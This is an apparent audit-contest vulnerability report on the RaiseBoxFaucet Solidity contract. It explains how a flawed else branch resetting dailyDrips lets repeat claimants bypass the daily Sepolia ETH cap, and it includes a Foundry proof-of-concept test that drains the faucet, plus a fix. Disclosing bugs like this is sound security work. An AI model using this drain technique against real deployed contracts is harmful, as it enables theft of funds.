Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Flawed dailyDrips Reset Allows Unlimited Sepolia ETH Draining

Incorrect RaiseBoxFaucet::dailyDrips Reset Logic Allows Bypass of RaiseBoxFaucet::dailySepEthCap, Enabling Full Contract Drain

Description

  • The RaiseBoxFaucet contract limits daily Sepolia ETH distribution via dailySepEthCap, tracked by the dailyDrips counter, which is meant to reset to 0 daily to enforce this cap.

  • However, it doesn't work the way we expected. Actually, the contract has implemented two ways to reset dailyDrips to 0, but one of them is flawed. It works well when a user calls RaiseBoxFaucet::claimFaucetTokens for the first time, but if he calls it again after 3 days (because of the 3-day cooldown), the dailyDrips resets to 0 due to the if-else conditions on lines 185 and 211. This means, every user who has already claimed their sepEth once will be able to reset the dailyDrips to 0, even if the limit is reached, and thus, allowing the other first-time claimants to get their sepEth too. If this happened in a repeated scenario, then the whole contract will be drained with ease.

    function claimFaucetTokens() public {
    // ...
    @> if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) { // Check for first-time claimant
    uint256 currentDay = block.timestamp / 24 hours;
    @> if (currentDay > lastFaucetDripDay) { // First method of resetting dailyDrips (Works Fine!!!)
    lastFaucetDripDay = currentDay;
    dailyDrips = 0;
    }
    if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap && address(this).balance >= sepEthAmountToDrip) {
    // ...
    @> dailyDrips += sepEthAmountToDrip; // Incrementing dailyDrips
    // ...
    }
    // ...
    } else {
    @> dailyDrips = 0; // Second method of resetting dailyDrips (Clearly Flawed!!!)
    }
    }

Risk

Likelihood: High

  • The vulnerability can be exploited after 3 days by any user who has already claimed their Sepolia ETH once, opening the door for repeated exploitation.

  • Even a single malicious actor can drain the entire contract over a few days by coordinating multiple addresses to claim Sepolia ETH repeatedly.

Impact: High

  • The entire Sepolia ETH balance can be drained over repeated cycles, violating the faucet’s purpose of controlled distribution.

  • It can lead to reputational damage for the protocol, as users may lose trust in the contract's security and reliability.

  • The contract may require manual intervention from the owner to pause Sepolia ETH drips, increasing centralisation risks and operational overhead.

Proof of Concept

  • This PoC demonstrates how the flawed reset logic allows the contract’s Sepolia ETH to be fully drained:


    1. Setup: The owner deploys the RaiseBoxFaucet contract and funds it with a certain amount of Sepolia ETH (e.g., 0.03 Sepolia ETH). The dailySepEthCap is set to a lower value (e.g., 0.01 Sepolia ETH) for testing purposes.

    2. First Claims: Users 1 and 2 (first-time claimants) claim tokens and 0.005 ETH each, hitting the 0.01 ETH dailySepEthCap.

    3. Cooldown Period: Other users decide not to claim now, as the dailyDrips has already reached the limit. They wait for 3 days, instead of 1 day.

    4. Post-Cooldown Claims: After 3 days, user1 calls claimFaucetTokens again, resetting dailyDrips to 0 (via the flawed else block).

    5. Further Claims: Users 3 and 4 (first-time claimants) now claim 0.005 ETH each, hitting the cap again.

    6. Cycle Repeats: User 2, post-cooldown, resets dailyDrips again, allowing Users 5 and 6 to claim, draining the remaining balance. Thus, the contract allowed sepEth more than the limit, and if this cycle is repeated again and again, the whole contract can be drained.


    Note: Either this vulnerability can be intentionally exploited by a malicious actor, where he can spin up multiple addresses to claim Sepolia ETH repeatedly, or it can happen organically if the contract has a lot of users who have already claimed once and are trying to claim again after 3 days.


  • Add this test case to the existing RaiseBoxFaucet.t.sol file:

    function test__allSepEthGetDrainedOutOfTheContract() public {
    // Setup
    RaiseBoxFaucet raiseBox = new RaiseBoxFaucet(
    "raiseBoxFaucet",
    "RBF",
    1000 * 10 ** 18,
    0.005 ether,
    0.01 ether // Setting dailySepEthCap to a lower value for testing
    );
    // Funding the contract with 0.03 sepEth
    vm.deal(address(raiseBox), 0.03 ether);
    console.log("Contract SepEth Balance after funding:", address(raiseBox).balance);
    // We will take a total of 6 users into consideration
    // user1 and user2 calls claimFaucetTokens, and receive both tokens and sepEth
    vm.prank(user1);
    raiseBox.claimFaucetTokens();
    console.log();
    console.log("User1 claims successfully.");
    console.log("User1 SepEth Balance after claim:", address(user1).balance);
    vm.prank(user2);
    raiseBox.claimFaucetTokens();
    console.log();
    console.log("User2 claims successfully.");
    console.log("User2 SepEth Balance after claim:", address(user2).balance);
    // dailyDrips must have reached the limit (i.e. dailySepEthCap), so other users won't be able to get their sepEth now. And hence, they wait...
    console.log();
    console.log("Current daily drip amount:", raiseBox.dailyDrips());
    console.log("Leftover SepEth in contract:", address(raiseBox).balance);
    // 3 days pass...
    advanceBlockTime(block.timestamp + 3 days);
    console.log();
    console.log("3 days have passed...");
    console.log();
    // user1 calls claimFaucetTokens again after 3 days, and receives just tokens this time as he ain't a first timer
    vm.prank(user1);
    raiseBox.claimFaucetTokens();
    console.log("User1 claims again after 3 days.");
    console.log("dailyDrips resets:", raiseBox.dailyDrips());
    // Now, user3 and user4 try to claim, as they both are first timers, they will get both tokens and sepEth.
    vm.prank(user3);
    raiseBox.claimFaucetTokens();
    console.log();
    console.log("User3 claims successfully.");
    console.log("User3 SepEth Balance after claim:", address(user3).balance);
    vm.prank(user4);
    raiseBox.claimFaucetTokens();
    console.log();
    console.log("User4 claims successfully.");
    console.log("User4 SepEth Balance after claim:", address(user4).balance);
    // This again pushes dailyDrips to the limit
    console.log();
    console.log("Current daily drip amount:", raiseBox.dailyDrips());
    console.log("Leftover SepEth in contract:", address(raiseBox).balance);
    // However, here's the twist, user2 tries claiming again as 3 days have passed, which resets dailyDrips, and he gets his tokens only
    vm.prank(user2);
    raiseBox.claimFaucetTokens();
    console.log();
    console.log("User2 claims his tokens successfully.");
    console.log("dailyDrips resets:", raiseBox.dailyDrips());
    // With this, user5 and user6 get the opportunity to claim their tokens and sepEth as they both are first timers
    vm.prank(user5);
    raiseBox.claimFaucetTokens();
    console.log();
    console.log("User5 claims successfully.");
    console.log("User5 SepEth Balance after claim:", address(user5).balance);
    vm.prank(user6);
    raiseBox.claimFaucetTokens();
    console.log();
    console.log("User6 claims successfully.");
    console.log("User6 SepEth Balance after claim:", address(user6).balance);
    // This led the users to take more than the dailySepEthCap, and hence, the contract is drained out of its sepEth
    console.log();
    console.log("Current Contract SepEth Balance:", address(raiseBox).balance);
    }

  • Run the above test using the following command:

    forge test --mt test__allSepEthGetDrainedOutOfTheContract -vv

  • Logs:

    Ran 1 test for test/RaiseBoxFaucet.t.sol:TestRaiseBoxFaucet
    [PASS] test__allSepEthGetDrainedOutOfTheContract() (gas: 3153208)
    Logs:
    Contract SepEth Balance after funding: 30000000000000000
    User1 claims successfully.
    User1 SepEth Balance after claim: 5000000000000000
    User2 claims successfully.
    User2 SepEth Balance after claim: 5000000000000000
    Current daily drip amount: 10000000000000000
    Leftover SepEth in contract: 20000000000000000
    3 days have passed...
    User1 claims again after 3 days.
    dailyDrips resets: 0
    User3 claims successfully.
    User3 SepEth Balance after claim: 5000000000000000
    User4 claims successfully.
    User4 SepEth Balance after claim: 5000000000000000
    Current daily drip amount: 10000000000000000
    Leftover SepEth in contract: 10000000000000000
    User2 claims his tokens successfully.
    dailyDrips resets: 0
    User5 claims successfully.
    User5 SepEth Balance after claim: 5000000000000000
    User6 claims successfully.
    User6 SepEth Balance after claim: 5000000000000000
    Current Contract SepEth Balance: 0
    Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 10.80ms (834.44µs CPU time)

Recommended Mitigation

Remove the flawed else block that resets dailyDrips for non-first-time claimants, as the initial reset logic (lines 187-192) correctly handles daily resets. This ensures dailyDrips only resets when a new day begins, enforcing the dailySepEthCap.

function claimFaucetTokens() public {
// ...
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastFaucetDripDay) {
lastFaucetDripDay = currentDay;
dailyDrips = 0;
}
// ...
- } else {
- dailyDrips = 0;
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 16 days ago
Submission Judgement Published
Validated
Assigned finding tags:

dailyDrips Reset Bug

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.